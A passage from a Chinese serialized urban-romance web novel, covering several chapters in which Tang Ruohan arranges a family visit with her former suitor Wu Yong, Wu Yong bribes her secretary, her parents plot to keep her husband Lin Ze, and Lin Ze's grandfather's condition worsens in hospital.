对面。 周美珊悬着的心,终于往下放了一些。 之前。 唐英豪想让林泽接受一家电视台的采访,为的就是让各界名流知晓,林泽和唐若涵的感情非常稳固。 没想到,却被林泽拒绝。 因此在互联网上发表的那些文章,也没有激起什么浪花。 事情只能不了了之。 现在。 唐若涵和林泽要一起去参加沈家的家宴,机会不就又来了吗? 沈家老爷子设家宴款待,外界必定议论纷纷。 只要林泽和唐若涵不出什么意外的状况,这也就相当于给他们做了无形的宣传。 这种说服力,比那些文章和采访要强多了! 不动声色地看了看唐英豪,周美珊的嘴角又扬起笑意。 …… “吴先生,您臀部的瓷器碎片已经清理干净,根据检查结果,是典型的软组织损伤。” “目前,最佳方案是保守治疗。” “您一定要多注意休息,在服用药物的情况下,最好贴上一些膏药。” 说完。 穿白大褂的医生伸手抚了一下眼镜框,这才重新看向吴庸。 吴庸趴在病床上,心情糟糕到极点。 当着唐若涵的面出了那么大的丑,真是该死啊! 本想起身坐起来,可稍微一动,屁股那边便传来疼痛。 无奈之下。 吴庸只好继续保持刚才的姿势。 “吴先生,这段时间,您要忌辛辣……” “我知道了,你下去吧!” 没等医生说完,吴庸不耐烦地摆了摆手。 对面的医生一愣,接着转身离开。 很快。 病房里只剩下吴庸和手下两个人。 “那三个废物,都轰走了?” “吴少,您放心,人已经被辞退!” 手下话刚说完,吴庸眉头便皱起来。 “成事不足,败事有余,记住,这样的窝囊废公司永不录用!”说到这里,吴庸好像想起什么,“六子,林泽那边怎么有什么动静?” 被称作六子的手下听完,神情一下子变得严肃。 “吴少,唐小姐和林泽从赵家别墅出来以后,一开始,走的是回闪创传媒的路线,可不知道为什么,中途又折返了。” “两个人一块去了唐老爷子的住处。” “中间,林泽还下车去兴安斋买了一些糕点。” “他们是吃完午饭才离开的。” 吴庸神色骤变。 “整个过程,他们两个人都在一起吗?” “是的,吴少,离开的时候,唐英豪夫妇亲自把他们送出的门。” “砰!” 吴庸恼火,一拳砸在病床上! “林泽,你铁了心的跟我作对,就别怪我下手狠了!” 眼中闪过一丝狠辣,吴庸从喉咙里挤出一句。 “六子,找些人手,按我说的去做!” 第一卷 第68章 这张脸,堪称极品! 回去的路上。 唐若涵时不时地看向林泽,目光当中疑惑也越来越深。 有好几次。 唐若涵张口想问一下那天发生的事情。 可看林泽一脸平静,她话到了嘴边,又不由地咽下去。 最后。 唐若涵不得不转移注意力。 “林泽,把我送到公司你就回去吧,那边还有些事情要处理。” “好的,唐总。” 像往常一样,林泽客气地答应,至于唐若涵嘴里所说的事情,林泽并没有开口询问。 这三年当中。 林泽对自己有精准的定位。 不该讲的话不讲,不该问的事情不问。 想到公司微电影的进程,唐若涵脸上又多了一丝沉重。 虽然各项事宜已经安排下去,可她还是有些不放心。 如果这一次的作品再被退回来,那公司就真的遇到坎儿了。 十几分钟后。 汽车停在闪创影视传媒办公大楼前。 林泽下车,亲自给唐若涵打开车门。 眼看着唐若涵离开,林泽这才将汽车掉头。 今天的事情也算告一段落了。 下午没什么事,林泽想去医院一趟。 …… 唐若涵并没耽搁。 刚才来到办公室便开始询问微电影的拍摄进程。 王静手里抱着文件夹,逐一向唐若涵汇报。 “唐总,按照您的指示,咱们的摄影师换了以后,拍摄效果得到很大提升,现在正在剪辑阶段。” “我们的剪辑师也是高薪聘请过来的。” “现在一切进行顺利。” 面对王静汇报的喜讯,唐若涵皱紧的眉头始终没有散开。 上一次。 他们也是自信满满,甚至还说,拍摄的微电影有望进军铃兰奖。 可结果……却如此不尽人意。 唐若涵低头,脸上依旧焦虑。 王静边打开文件夹,边说明财务状况。 唐若涵摆摆手。 “说些有用的。” “唐总,”王静一脸尴尬,声音也不像刚才那么流畅,“咱们下一部微电影的男主角,一直没有敲定。” 此话一出。 唐若涵眉头瞬间皱得更紧,声音顿时拔高。 “不是一直在选吗?官网上没有招聘启事?薪资设定比市面上的高了将近一半,人怎么还没找到!” “唐总,来应聘的人倒是很多,只是人物气质跟我们的主角相差太大……” “别说了,手上作品返工的同时,下一部微电影也不能耽搁,主角务必快点选好。” 唐若涵无语地揉揉眉心。 公司骨干也都是老人了,怎么还允许有这种青黄不接的事情发生! 眼下公司正在关键时刻,绝对不能出任何纰漏。 “好的,唐总,我现在就打电话通知各个部门。” 王静抱紧文件夹,头点得像小鸡啄米。 刚想要出去,突然停下脚步,欲言又止地望着唐若涵。 “还有事?” 唐若涵声音冰冷。 王静咬咬嘴唇,最终鼓足勇气,“唐总,有句话我不知道当讲不当讲,咱们下一部微电影的主角,我倒是觉得有个人挺合适。” “谁?” 迎上唐若涵的目光,王静有些为难,最终眼神闪烁的说道:“我个人觉得,其实,吴先生挺合适的,就怕吴先生没有这个时间。” “吴庸?” 唐若涵话语当中满是询问。 王静再一次点头,嘴角也露出笑意。 “唐总,你不觉得,吴先生长了一张明星脸吗?棱角分明,五官立体有型。” “他身上散发出来的气势,跟我们电影当中的主角几乎如出一辙。” “正气凛然,行侠仗义,而且还……足智多谋。” 王静还想要接着往下说。 只可惜。 脑子里没词儿了。 对面。 唐若涵皱眉沉思。 想想吴庸那张脸,再结合王静刚才说的话…… 吴庸,确实有气质。 只是跟王静说的那些,好像完全不搭。 正气凛然的盖世英雄,他能表现得出那种气概吗? “我知道了,你去忙你的吧。” 实在没有办法把吴庸和电影当中的男主角联系在一起,唐若涵最后催促王静离开。 刚刚调整了个姿势,旁边的手机突然响起来。 屏幕上,赫然显现出两个字“吴庸。” 这时。 唐若涵才想起,现在的吴庸应该在医院。 “吴庸,什么事?” “小涵,你现在在公司吗,我就在你们办公楼下。” 吴庸声音清晰,但鼻子肿胀,鼻音还是明显的能听得出来的。 唐若涵眸子当中闪过一丝不可置信。 在赵家别墅,吴庸的裤子都被鲜血浸湿,怎么这么快就来到自己公司楼下了? “你……没有在医院休息吗?” “小涵,跟我的身体状况相比,眼下有更重要的事情,我要亲自跟你商量一下,如果你在公司,我马上就上去!” 唐若涵看看手机。 此刻。 她看不到吴庸的表情,但却能感受到吴庸的焦灼。 好像,真的有很重要的事情。 “好吧,你来我办公室吧!” “你等着我,我马上就到!” 说出这句,吴庸将电话挂断。 几分钟后。 门口响起敲门的声音。 “请进。” 唐若涵话音未落,吴庸已经推门而入。 此时。 吴庸已经换了一身衣服,乍一看去,依旧风度翩翩。 只是,走路的姿势有些奇怪。 缓慢,步伐……拖拉。 唐若涵本能地想到吴庸身上的伤。 “不在医院休息,怎么到这儿来了,你先坐下吧,我给你倒杯水。” 唐若涵一边说一边起身。 吴庸的身体依旧站得笔直。 “不用了,我站着说就行,小涵,你别忙活了,我也不渴。” 唐若涵回头,“就算不喝水也得坐下,我坐着你站着,那哪里是商量事情,分明就是在汇报工作。” 吴庸喉结微动,尴尬地咽了一口口水。 “我也想坐下,只是现在情况不允许。” 唐若涵一怔。 随即恍然大悟。 是了。 吴庸的伤在屁股上,哪怕现在医疗技术再先进,他也不可能在这么短的时间之内恢复。 “不好意思,是我没想周全,对了,你有什么事情找我?” 想到吴庸不能坐下,唐若涵干脆也站到他的对面。 听到唐若涵问话,吴庸眼里瞬间闪出兴奋的光芒。 “小涵,我回国也有几天了,到现在,还没有正式拜访过伯父伯母,我想明天亲自登门拜访。” “明天?是不是太着急了?你身上的伤……” 唐若涵刚说到一半,吴庸直接打断了她的话。 “小涵,我知道你关心我,但是如果再不去看伯父伯母,就显得不礼貌了,三年不见,我也想让他们改变一下对我的看法。” 吴庸说得非常郑重。 唐若涵一时间竟无法拒绝。 三年了。 吴庸的确有很大的改变。 父母那边,也的确该改变一下当初的认知了。 “小涵,可以吗?” 吴庸话语当中充满急切,目光在唐若涵的脸上根本移不开。 眼下。 他不光需要一个确定的答案。 重要的是,唐若涵真的……太美了! 面前这张脸,堪称绝色中的极品! 第一卷 第69章 回家还打什么电话? 办公桌前。 唐若涵抬眸,脸上闪过犹豫之色。 让吴庸见自己的父母,确实是唐若涵心里的愿望。 可目前她跟父母的关系如履薄冰,眼下这种状况,吴庸若是去了家里,唐若涵也不敢保证会发生什么事情。 现在确实不合适。 但是吴庸的说法又让人拒绝不了。 一时间。 唐若涵的神情再次不安起来。 “小涵,你放心,我完全是出于礼貌,去见伯父伯母,我也只是想尽一下晚辈应有的礼数。” “那……我打个电话问问吧,看看他们明天有没有时间。” 最终。 唐若涵还是心软,答应下来。 吴庸脸上的伤还没消除,身上有伤成这样,但心里还记挂着,要去看自己的父母。 这个愿望,自己不能不帮他完成。 …… 同一时间。 唐英豪和周美珊正焦头烂额。 想起饭桌上父亲说的话,唐英豪的眉头已经拧成一个疙瘩。 周美珊见状,不免也忧心忡忡。 对着唐英豪翻了个白眼,周美珊再也忍不住了,当场絮叨起来。 “老公,爸说的话是真的还是假的?他要真把集团交给林泽,这以后还有你什么事儿?” “别怪我说话难听,你这太子还没登基,就直接成太上皇了,这跨度也太大了!” “说得好听一些,爸是不想让你为集团的事情操心,要说得不好听些,爸就是压根看不上你!” 周美珊声音尖锐,环抱着双臂,每说一句话,珍珠耳坠便跟着晃动几下。 身上的青花瓷旗袍,在这些尖锐讽刺声中,也越发的可笑。 唐英豪本就憋了一肚子的火,听周美珊这样讲,心中更加没好气。 开口说话的声音当中,也夹杂了几丝烦躁。 “能不能少说两句?” “行啊,我少说两句可以,你倒是说说,接下来该怎么办?” 周美珊没好气地坐在沙发上,胸脯起伏得厉害。 本来去找老爷子,周美珊就不同意。 理由很简单。 当初他们强迫唐若涵跟林泽结婚,也没有跟老爷子商量。 现在,两个人闹离婚,去找老爷子做说客,周美珊觉得拉不下这个脸来。 可唐英豪一再声称,现在他无计可施,想让唐若涵跟林泽改变主意,只能让老爷子出马。 无奈之下。 两个人才去了唐老爷子的住处。 可谁曾想。 老爷子竟然闹出这一出! 在两个人完全没有心理准备的情况下,他居然要把家族的企业交给林泽! 这岂不是捡起芝麻丢了西瓜? 妥妥地搬起石头砸自己的脚! 事情本就一团乱,再加上老爷子的这个决定,唐英豪更像无头的苍蝇。 见唐英豪不说话,周美珊再次挺直腰杆,声调跟着提高几个度。 “我早就说了,这样不行,你偏偏不听,现在可好,这么大的家业摆在面前,林泽若是心动接手了企业,到时候,你想要都要不回来!” “之前有那合同,还能拿捏他,他要成了进了董事会,还不骑到你头上去?” “还以为三年能养出一条后路,没想到你养了一只白眼狼!” 唐英豪心烦意乱,生无可恋地望着周美珊。 “祖宗啊,你闭上嘴行不行?” 周美珊深吸一口气,刚张嘴想回怼,突然,一阵手机铃声传来。 唐英豪赶紧拿过手机,扫了一眼屏幕,便按下接听键。 “小涵,有什么事吗?怎么这个时候打过电话来了?” 一听是唐若涵打过来的电话,周美珊没好气地转过头。 唐英豪紧接着又按下免提键。 女儿打电话过来了,周美珊总不能还在一旁唠叨个不停吧? 这一通电话可真及时,至少能让自己耳朵根子清静一下。 “爸,也没有什么大事,就是有件小事,我想跟你商量一下。” 电话那端。 唐若涵声音有些犹豫,虽然尽量把话往平静的方向说,可语气当中,还是带着一些小心翼翼。 离婚的事情,她可以态度坚决。 毕竟那是她跟林泽两个人的事。 可这一次是吴庸要去拜访他们,再怎么着,也得放低姿态跟他们商量一下。 “哎哟,见了见爷爷,这心情就是不一样,看看,我闺女说话的语气都变柔和了。” 说着。 唐英豪哈哈大笑,心情也跟着愉悦不少。 周美珊撇了撇嘴,用小得不能再小的声音嘟囔一句,“瞧你那点出息!” 说完。 周美珊抬手伸向果盘,拿了个苹果随手削起来。 “说吧,什么事?” 唐英豪刚刚开口。 突然。 周美珊大叫一声! “哎呀,我的手,老公快过来,我的手流血了!” 同一时间。 唐若涵也鼓足勇气,说出酝酿很久的话。 “爸,吴庸回来了,他想看望你们,想去咱家看看。” 周美珊扔掉水果刀,整个人从沙发上蹦起来,接着嚎啕大哭。 唐英豪一见便慌了神,将手机从沙发上一扔,直接好像周美珊这边。 “老婆,你没事吧,削个苹果怎么就伤到手了?还流这么多血,你倒是小心一些啊!” “你这个没良心的,都到这个时候了,你还数落我,就不知道先帮我包扎一下?你是想让我失血过多身亡是不是!” 周美珊嚎叫的声音几乎戳破唐英豪耳膜。 见她手上流血不止,唐英豪急忙去拿医药包。 周美珊吓得不敢动弹,一只手举在半空当中,不停地打哆嗦。 一时间。 两个人哪里还有理会唐若涵的心情? “爸,怎么了?出什么事情了?” “我妈怎么了?” “爸,你说话呀!” …… 唐若涵心急如焚,拿着手机不停地来回走动。 吴庸快走两步跟上,眼神里满是疑惑。 刚才还好好的,唐若涵脸上也露着笑意。 怎么眨眼的功夫,脸色苍白的一点血色也没有了。 “小涵,怎么了?” “吴庸,怎么办,家里好像出事了,我刚才在电话里听说,好像我妈流血了!”唐若涵神情焦灼,一把拉住吴庸的胳膊,“现在怎么办,叫救护车还是我们赶过去?” 被唐若涵柔弱无骨的小手握着,吴庸心里顿时乐开了花。 从回国到现在,甚至从他认识唐若涵至今,他们两个人都没有如此亲密地接触过。 而且。 现在,唐若涵目光当中充满求助,似乎已经把他当成唯一的依靠! 太好了! 唐若涵能在焦急的时候想到他,这足以说明,唐若涵还是爱他的! 深吸一口气,吴庸急忙开口安慰,“小涵,先别着急,先弄清楚是什么状况。” “好!” 唐若涵重新看一下手机,哆嗦着按下免提键。 这时。 唐英豪已经替周美珊包扎好伤口。 沙发上。 手机当中,唐若涵的声音再次传来。 “爸,能不能听到我说话?” 唐英豪长出一口气,边拿手机边说。 “听到了。” “出什么事了?” “你别担心,刚才你妈削苹果伤到手了,现在已经包扎好了,放心吧!” 说到这里,唐英豪似乎想起了什么。 “刚才你说什么来着,回家是吧?” “都是一家人,那么客气干什么,回家还打什么电话?” “什么时候想回你就回,爸妈随时欢迎你们!” 唐若涵声音震惊,“欢迎我们?那,明天上午我们回去可以吗?” “当然可以,没问题!” 第一卷 第70章 人比人得死,货比货得扔。 缓缓放下手机,唐若涵伸手按向心脏的位置。 一颗心,在怦怦地跳个不停。 “还好是虚惊一场,刚才,我真被吓得不轻。” 消息电话当中母亲的叫声,唐若涵眉头再次蹙起。 又是尖叫,又是说出血。 唐若涵真以为发生了什么大事。 还好只是手指受伤,并无大碍。 旁边。 吴庸心花怒放。 脑海当中回响的,一直是唐英豪说的话。 一家人? 想回就回,爸妈随时欢迎你们! 天哪! 这是什么待遇?难道唐英豪知道他的现状,完全对他另眼相看了吗? 肯定是的。 以前自己只是个学生,楚家虽然小有名气,却无法跟唐家相比。 入不了唐英豪的眼,也是很正常的事。 可现在不同。 在国外三年,再次回来,他已经完成镀金。 况且。 他现在还开创了自己的公司。 在东海,像他这么年轻的人,自己创业能够取得成就已经实属不凡。 可他,却拥有双集团! 这种显赫的身份,绝对会让人另眼相看。 如此想着,吴庸瞬间觉得整个人的心情都好了很多。 唐英豪已经接受他,那么,距离他成为唐家的女婿就不远了! 再想想刚才唐若涵惊慌失措的样子,吴庸恨不得现在就把眼前这个娇弱的人儿搂入怀中! 唐若涵泪光闪烁的模样。 她头发上散发出来的香味。 还有微微翕动的鼻翼…… 随便做出来的一个小动作,都那么诱人! “咕嘟!” 吴庸使劲地咽了一口口水,这才努力让自己平静下来。 此刻。 唐若涵已经坐回到办公椅上。 “小涵,你不用担心,伯母没事自然是最好的,如果真的有事,我也不会让你独自面对,你身后还有我。” 吴庸把话说完,努力在脸上挤出一丝笑容。 看到他眼前的模样。 唐若涵的心还是软了。 吴庸的鼻子还肿着,走路也一瘸一拐。 可是。 他能在此刻站在这里,对于唐若涵来说,这就是一种慰藉。 “谢谢你。” “谢什么,你还记不记得,三年之前我就跟你说过这样的话,那个时候,我没办法站在你的身边,但是,我的心是跟你在一起的。” 吴庸脸上的笑容逐渐变得苦涩,说话也更加深情。 “小涵,得知你要跟林泽结婚,我连死的心都有了,我觉得整个世界都没有了色彩。” “可尽管痛苦,我又坚持了下来。” “当时,我的脑子里只有一个念头,如果没有我,小涵就是一个人独自面对了。” 说到最后。 吴庸哽咽起来。 唐若涵的眼眶也开始泛红。 “吴庸,你别说了。” “好,那些不开心的回忆都将成为过去,以后,每一天都是美好的。” 情到深处,吴庸朝着唐若涵走近了一些。 只可惜。 两个人中间还是隔着一张办公桌。 “咚咚咚!” 一阵敲门声传来。 两个人都吓了一跳。 唐若涵深吸一口气,迅速平复心绪。 吴庸则是又退回到旁边,虽然依旧站着,却跟唐若涵有了一定的距离。 “请进。” 转瞬间。 唐若涵的声音又恢复了干练。 “唐总,这是今天微电影主角的应聘简历,您要不要看一下?” 王静一边说话一边走进来,怀里抱着一个文件夹。 之前,唐若涵曾经交代过,这次微电影的男主选择,一定要让她亲自过目。 最近公司的事情有些不顺利,王静也不敢自作主张。 刚想把文件夹放到唐若涵的办公桌上,王静突然愣住。 吴庸竟然在这里。 不知不觉间。 王静的心跳加快了好几拍。 “吴先生,你好。” 有些羞涩地跟吴庸打过招呼,王静再次看向唐若涵这边。 “放这儿吧,有合适的我会给你打电话。” “好的,唐总。” 王静说完想转身。 这时。 吴庸的声音突然传出。 “小涵,你忙工作上的事,我先走了,回头给你打电话。” 看到唐若涵有些不解,吴庸笑着开口解释。 “拜访伯父跟伯母,总是要准备一番的,这件事情对于我来说是大事,不能怠慢。” 唐若涵有些不好意思的笑笑。 “那好,我送你。” 见两人如此说,王静走出门时,特意放缓了脚步。 跟在唐若涵身边也有一段时间,对于唐总的性格以及一些习惯,王静也有所了解。 通常情况下,唐若涵说“我送你”,也不过就是将人送到办公室门口。 也就是说。 今天。 她可以跟吴庸一块儿走一段时间了。 一想到吴庸的神态,以及身上所散发出来的气质,王静紧张地咬了咬嘴唇。 而事实也果然如同王静想的那样。 到办公室的门口时,唐若涵便已经转身。 “王秘书,要坐电梯吗?” 吴庸伸手指了指电梯的方向,接着特意在王静身上看了看。 “我,哦,我确实要去一楼大厅那边,吴先生要一块下去吗?” “对,能够跟王秘书共同乘坐一趟电梯,是我的荣幸。” 吴庸盯着王静,语气当中,带了一丝意味深长。 王静一愣。 脸瞬间红起来。 “吴先生,您别这么说,能跟您一块儿走,应该是我感觉……到荣幸才对。” 王静努力让自己平静。 可是说出来的话,还是有些磕磕绊绊。 吴庸身上。 似乎带着一种让人无法抗拒的魅力。 只是迎上他的目光,王静感觉一颗心都要从嗓子眼儿里蹦出来了。 真不敢想象。 一会儿跟他一块坐电梯,自己的紧张成什么样子? 吴庸身上散发着独特的男士香水味道,高定西装,裁剪合体。 偏偏头发又是自己最喜欢的那种发型。 这简直是……男神! 王静的思绪有些飘,眼神也慌乱起来。 突然。 王静脑海当中闪过林泽的面孔。 哼! 真是人比人的死,货比货的扔。 这两个男人都跟唐总有关。 可他们却有云泥之别! 吴庸气质高雅,才华出众,一看就是个讲究的上层人士。 而林泽,他根本就是个土包子! 刚才吴庸跟自己说话的时候,满脸客气,声音柔和。 可林泽呢? 话语当中充满嘲讽,根本不把自己放在眼里! 甚至。 他还动手打过自己一巴掌! 这天底下。 哪有男人打女人的? 这样的男人,唐总能看得上才怪! 一想到林泽。 王静的脸也跟着沉下来,心里又升起隐隐怒火。 “王秘书,你是不是遇到什么事情了?” 吴庸带有磁性的声音传过来。 王静撇撇嘴,有些惋惜地摇头,“吴先生,你的心思真细,我这点轻微的表现,都被你看出来了?” 吴庸挑眉,虽然没说话,眼神却给出肯定的答案。 第一卷 第71章 这,无异于完全放弃。 王静的声音突然变得很轻,“吴先生,您真是一个体贴的人,唐总身边有您这样的人,她的日子也能过的欢喜一些。” “哦?谢谢王秘书对我的评价,我真是受宠若惊,不过,你的话还是让我有些担心,小涵不开心吗?” 王静当即点头。 “我来公司三年,对于唐总的情况也了解一些,大多数时间,唐总都在公司里,她真的是太辛苦了。” “如果林泽能争气一些,唐总也不至于这样,因为他烂泥扶不上墙,我都心疼唐总。” 吴庸眼神里的复杂一闪即逝。 再次开口。 语气依旧像刚才一样温和。 “王秘书,我跟你接触虽然不多,但我们的心境是一样的,我也不想让小涵那么辛苦,以后在公司这边,就劳烦王秘书多费些心了。” 王静听完急忙摇头。 “吴先生不必这么客气,身为唐总的秘书,关心唐总是应该的。” 话音刚落。 吴庸突然拿起手机。 “王秘书,我有个冒昧的请求,我能不能加你个微信?” 王静一愣,心跳再次加快,仓促地咽了一口口水,“好。” 片刻工夫过后。 两个人已经相互加了微信。 但是。 吴庸并没有收回手机,而是继续在屏幕上刷刷点点。 “叮叮叮。” 王静手机的提示音响起。 疑惑的看了一下手机屏幕,王静瞪圆眼睛看向吴庸。 “吴先生,您这是干什么,怎么给我转这么多……钱?” 王静磕磕绊绊,话都说不成一句。 屏幕上的那一笔转账,竟然是5万元! 看着那一串的0,王静懵了。 吴庸嘴角扬起优雅弧度。 “王秘书不必如此惊讶,我知道你的工作很忙,还要帮我照顾唐总,也是很辛苦的。” “这是你应该得的,请你务必收下。” “以后有什么事情,咱们经常保持联系。” 说着,吴庸点点头。 王静迟疑,手指颤抖,犹豫着该不该点收款。 吴庸带有磁性的声音再一次传来。 “钱财不能表达我的谢意,但为了唐总,请务必收下。” “好吧……”王静咬咬嘴唇,“那我就收下了。” “叮。” 电梯打开。 王静刚好完成收款。 两个人相互看了一眼,随即各自走向不同的方向。 吴庸悬着的心,终于放回到原处。 同时,他也暗自下定决心。 用不了多久,务必让这5万块钱溅起漂亮的水花! …… 东海市中西医结合医院。 病房内。 林泽神情凝重,握着林振山的手微微颤抖。 林振山胸脯起伏不定,脸上努力挤出的笑意似乎也变了形。 人虽然清醒了,可身体更加虚弱。 脸上的皱纹,似乎也更深了一些。 “小泽,”林振山一脸疲惫,说话断断续续,“你……别难过,爷爷……很知足了。” “听话,这病……不看了,把钱省下来,你跟若涵……好好过日子。” “爷爷不能再拖累你们,不然,我到死也闭不上眼睛。” 林泽瞳孔收缩,急忙摇头。 “不,爷爷,咱们用的特效药有很明显的效果,您现在清醒的时间比之前长了很多,只要继续用下去,一定有好起来的那一天!” “我的身体状况,我心里清楚,别浪费钱了。” 这一句。 林振山说的无比清晰,表情也变得平静,像是在做最后的决定。 林泽的心仿佛被什么东西揪了一下,瞬间痛得无法呼吸。 “爷爷,您别这样说,药已经起了效果,钱没有浪费,况且我还上着班呢,我有钱。” 林泽想给爷爷一个放心的笑容。 可这时候,却怎么也笑不出来。 因为对面的爷爷,眼角湿润了。 林振山艰难地抬起一只手,捂在林泽的手背上,轻轻拍了一下。 “小泽啊,我还有多少日子,我清楚,不能拖累你们了,爷爷只是不放心你。” 话说到这里,林振山突然剧烈的咳嗽起来。 林泽急忙起身,小心地扶起他。 由于气不顺畅,林振山憋得满脸通红。 “咳咳咳。” “医生,医生快来啊!” 守在走廊的安然迅速推门而入,身后的几个护士也相继跑进来。 看到这种状况,安然当即处理。 “小张,准备热敷!” “林泽,你保持现在的姿势不要动,尽量让病人身体放松。” 安然一边嘱咐,一边伸手按住林振山的穴位,手法极其稳重。 林泽一动也不敢动,身体僵硬的保持着刚才的姿势。 一番抢救过后。 林振山的状况终于稳定下来。 此刻。 林泽脑门上已经沁出一层汗水。 对于寻常人来说,这只不过是一番抢救,可是林振山刚刚服用过药物,身体本就虚弱,经过这样一番折腾,整个人已经奄奄一息。 没过多久,便又进入昏迷的状态。 安然看看林泽,随后又看看门口的方向。 林泽会意,蹑手蹑脚地跟着安然往外走。 行至走廊。 安然停下脚步。 林泽的心瞬间也揪起来。 “安医生,我爷爷的状况……怎么样了?” “林泽,”安然柳眉蹙成一团,声音当中夹杂着歉意,“非常抱歉,林老先生的病情出现了恶化,他身体的一部分器官也在衰竭……” “什么?不可能,那种特效药不是有效果的吗?而且你们自己也说,这几天爷爷醒来的次数多了。” 林泽不可置信的看着安然。 喉结不停滚动,像是努力让自己保持平静。 安然的眉头皱得更紧。 “没错,老先生醒来的次数确实有所增加,但是,他长时间用药,特效药的一些副作用也比其他人要明显,这是我们之前没有预料到的……” 林泽目瞪口呆,大脑一片空白。 两条腿也如同踩在棉花上一般,瞬间没有了力气。 一把扶住长椅扶手,林泽声音嘶哑的问道:“安医生,器官衰竭,能不能医治?” 林泽绝望的神情让安然不忍直视。 眼下的状况,也不是他们愿意看到的。 但是,事实已经形成,作为一名医生,对于患者的状况是要如实告诉家属的。 “林泽,林老先生的身体已经非常虚弱,目前不仅有器官衰竭的症状,还有一些并发症。” “眼下最好的办法是保守治疗。” “即便继续用特效药,也不见得会发挥最大的效果,况且,老人家的身子骨已经经不起继续折腾了。” 林泽眼前一黑,瞬间瘫坐在椅子上。 保守治疗,在他看来,这是一种消沉至极的心理暗示,几乎相当于完全放弃。 这个念头闪过,林泽感觉全身的力气都被抽走了。 “安医生,真的没有其他办法了吗?” 林泽声音中满是绝望。 第一卷 第72章 第二道门,开! 安然把头别向一边。 她不忍看林泽眼神中,仅存的那丝希望。 明明已经绝望至极,依旧不肯放弃。 林泽这是把她当成了最后的救命稻草。 可是,她却无力改变什么。 “林泽,你的心情我能理解,可我们也要考虑一下老人家的状况,你的好心会成为他的负担。” “眼下老人家非常排斥用药,就让他安静地度过最后的时间吧。” 林泽不再说话,只是缓缓低下头。 本以为一切会好起来,没想到,情况就越来越糟糕。 爷爷,他是不是预感到了什么,不然,一向非常配合治疗的他,怎么会突然排斥治疗? 不知过了多久。 林泽浑浑噩噩地走进病房。 这时。 林振山已经醒了。 看到林泽便开始对着他招手。 “小泽,我……刚才做了个梦,梦到我们回老家了。” “我还梦到了……洛洛。” “都是你们小时候的样子。” 林泽鼻子发酸,声音哽咽。 “爷爷,你想家了?” 林振山点点头,“是该回去了,不然,就来不及了。” “爷爷,您别这样说,您一定会好起来的。” 林泽还想说什么,可突然发现,这时,任何话语都苍白无力。 …… 唐家别墅。 周美珊一脸沮丧,看着手指头上厚厚的绷带,心情低落到极点。 “今天真是诸事不宜,竟然有血光之灾,难道是因为最近没有做善事?” 周美珊眉头皱成一个川字,眼睛转了好几圈,声音当中也充满狐疑。 唐英豪摆摆手,“行了,别疑神疑鬼了,下次拿水果刀的时候小心些。” “从早晨到现在,一件高兴的事情都没有,”周美珊若有所思,“老公,今天不能做任何决定,听清楚了没有?” 说完,周美珊担心唐英豪不相信,专门凑过来让他看了一下受伤的手指头。 “这就是最好的证明!” “没做决定。” “你不是说明天让小涵跟林泽回来吗,这也不行!” 周美珊坚持,语气当中充满不容置疑。 唐英豪瞬间急眼,声音一下子提高了好几个度。 “你还有完没完?能不能不折腾?我让他们回来是有目的的,你别瞎掺和!” “现在正是关键时刻,再有几天,合同上的日子就到了,这个时候不笼络林泽,过几天,你想去讨好也没有机会。” “今天的事情确实让人窝火,可不管怎么着,先把人留下再说!” 跟周美珊解释的同时,唐英豪也很烦躁。 可眼下。 已经没有其他的办法。 林泽必须要留下,不管用什么办法。 周美珊红了眼眶,带着浓重的鼻音小声嘟囔。 “我这不是担心嘛,你着急,我就不着急?现在的局面把控不住,我觉都睡不好,昨天晚上我还梦见林泽查出那件事情来了。” “不可能!”唐英豪眼神坚决,当即否定周美珊所说,“三年了,他都查不出什么,以后肯定也查不出什么来。” 周美珊抬眸,“可我还是有些担心。” “担心什么,这种事情放的时间越长越不好查,你以为警察局是给他林泽开的?” 唐英豪的一句反问,终于让周美珊闭上嘴巴。 几分钟过后。 唐英豪夫妇的话题回归到原点。 如何留住林泽,又成了他们商量的重中之重。…… 下午六点。 唐若涵回到别墅。 林泽已经准备好,餐桌上,饭菜香气四溢。 “唐总,可以开饭了。” 林泽站在一旁,小心翼翼地提醒唐若涵吃饭。 唐若涵抬眸。 重新审视了一下林泽,淡淡的说道:“一块吃吧。” “这……” “坐下。” “好的,唐总。” 见唐若涵一反常态,林泽不由得想到今天在唐老爷子那里发生的事情。 林泽猜测,主动让自己坐下来,唐若涵要说的,或许跟唐氏集团有关。 可没想到。 唐若涵对此只字未提,可她整个人却心不在焉。 偶尔唐若涵会抬起头,但也只是看林泽几眼,便又重新收回目光。 明天。 她要跟吴庸去别墅那边看望父母,要不要告诉林泽? 唐若涵一直很纠结。 现在,林泽是她法律上认可的丈夫,按道理说,明天的见面,林泽有权利知晓。 可是,转念一想,唐若涵又觉得没必要。 毕竟他们只有夫妻之名,没有夫妻之实。 这是一开始就说好了的。 这种有名无实的婚姻,自然也不用讲究什么权利跟义务。 所以……还是不说了吧! 简单地吃了几口白灼菜心,唐若涵便回楼上了。 林泽把饭菜收拾好又去了一趟二楼,得知唐若涵那边没有什么事情,林泽便回到自己的房间。 今天,他有充足的时间休息。 可是,林泽的心口就像压了一块石头。 一想到爷爷的病情,他就有种喘不上气的感觉。 从小到大,爷爷是最疼爱自己的人,林泽也曾多次劝说自己,人都有走的时候。 可一想到爷爷要离开人世,林泽依然无法接受这个事实。 爷爷若是离开,似乎把他的人生目标也会带走。 躺在床上,林泽眉头紧皱。 脑海当中闪过的,全都是小时候的情形。 爷爷布满皱纹的手,老家院子里放着的柴火垛,大槐树底下的草木灰堆,还有洛洛咯咯的笑声…… 所有一切都那么遥远。 可一切,就好像在就眼前…… 林泽脑袋昏昏沉沉,也不知道在什么时候竟然睡着了。 “滴答——” “滴答——” 青石板上的水滴声传来。 林泽清楚。 他,又到了石阶前。 深吸一口气,林泽目光坚定地看了一眼高处,随即抬脚向前。 通向档案库的这段路,并不好走。 虽不泥泞,却潮湿无比。 偶尔踩到青苔,脚还会打滑。 林泽不清楚眼前的路已经走了多少遍,但一些小细节,他已经记得无比清晰。 第32阶,左脚边缺了一个角。 第49阶,台阶的中间部分有个凹槽。 第143阶,整阶凹陷,存水…… 直到看到那扇斑驳的大门,林泽才停下脚步。 终于到了。 仿佛每晚入梦,等的就是这一刻。 穿过重重迷雾,林泽的手,终于按在冰冷的门上。 林泽像往常一样走进去。 突然,目光一紧。 旁边。 那扇拴着粗重铁链的大门,竟然开了! 布满铜绿的锁头已然不见,就连手腕粗的铁链,也都齐齐堆在一旁! “怎么回事?” 林泽震惊,喃喃自语。 浓重的呼吸声,瞬间回响开来。 第一卷 第73章 用点美人计,也是可以的。 